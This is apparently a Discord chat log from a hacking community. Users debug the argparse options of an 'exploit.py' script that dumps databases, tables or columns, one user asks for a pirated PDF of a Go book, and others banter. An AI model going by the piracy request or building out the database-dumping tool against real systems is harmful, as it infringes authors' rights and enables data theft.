You're doing parse_arguments() before the constructor declares/initializes self.payload_types

#

Just move lines 17-21 before self.parse_arguments() and you should be fine

cold cloak
red flicker
#

do someone have mastering go book in pdf

onyx merlin
lament dome
cursive orchid
wispy kestrelBOT
#

Gave +1 Rep to @stoic badger

stoic badger
#

Pretty tricky to notice imo

cursive orchid
#

i'm also struggling with argparse, i want --dump to default to databases if not given, but if --dump is given, it needs to have a value
eg.

./exploit.py # --dump is databases # THIS WORKS
./exploit.py --dump # argparse error due to no value given
./exploit.py --dump tables # sets --dump to tables # THIS WORKS

this is what i currently have:

    parser.add_argument("--dump",
      help="the data to dump (databases, tables, columns)",
      default=list(self.payload_types)[0],
      const=list(self.payload_types)[0],
      nargs="?",
      choices=list(self.payload_types)
    )

however, the second command listed above defaults to databases rather than throwing the error i expect

#

nevermind lol, getting rid of const and nargs does that

cold cloak
#

oh wait

cold cloak
#

kekw I should read things

cursive orchid
#

top 0.0773 pog

cold cloak
#

tbh even being top 0.01% is irrelevant kek

lilac holly
#

Does it go by completion or speed?

#

Or streaks

lilac holly
#

I suppose if you're experienced you could slay the scoreboard

#

Not fair LegosiSad

#

"I'm a Golden Glove prize fighter" πŸ† *fights children πŸ₯Šshiba_cool

main sinew
#

Do anybody know if it is possible to run a movie(shrek) on a calculator?

peak warren
main sinew
#

@peak warren how hard?

crystal light
main sinew
#

@crystal light I have find a mission in life

crystal light